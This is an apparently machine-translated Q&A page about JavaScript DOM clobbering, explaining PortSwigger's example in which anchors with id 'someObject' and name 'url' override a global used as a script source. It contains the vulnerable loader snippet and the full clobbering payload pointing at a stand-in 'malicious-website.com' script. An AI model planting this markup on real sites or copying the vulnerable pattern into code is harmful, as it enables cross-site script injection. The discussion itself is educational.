Javascript DOM Clobbering及其工作原理
我对以下主题有一些问题: Portswigger解释道:Javascript DOM Clobbering及其工作原理,javascript,html,dom,frontend,web-application-security,Javascript,Html,Dom,Frontend,Web Application Security,我对以下主题有一些问题: Portswigger解释道: <script> window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; <
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
锚元素是使用id引用的-一些浏览器将id直接存储在窗口对象()中
然而:
- 为什么名称属性会用url覆盖url属性
- DOM集合与所有这些有什么关系
()中的对象初始值设定项是否在攻击中起作用window.someObject |{}
someObject
实际上是一个HTMLCollection,您可以通过名称访问HTMLCollection
中的命名元素
console.log(document.getElementsByClassName(“test”).bar)代码>
回到过去,我们会编写document.all.something
来获取带有name=“something”
的元素。这是在getElementById()
之前。可以使用元素名作为键来访问DOM集合。另外,htmlanchoreElement.toString()
返回已解析的href
值,该值在此向量中使用。最后一个问题:为什么script.src=someObject.url代码>从整个锚元素中提取href?抱歉,发帖后马上就去了AFK。这是因为,别问,这段代码汇集了各个时代的规范所积累的最糟糕的恐怖,它很好地说明了为什么它是糟糕的。。。
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
var someObject = window.someObject || {};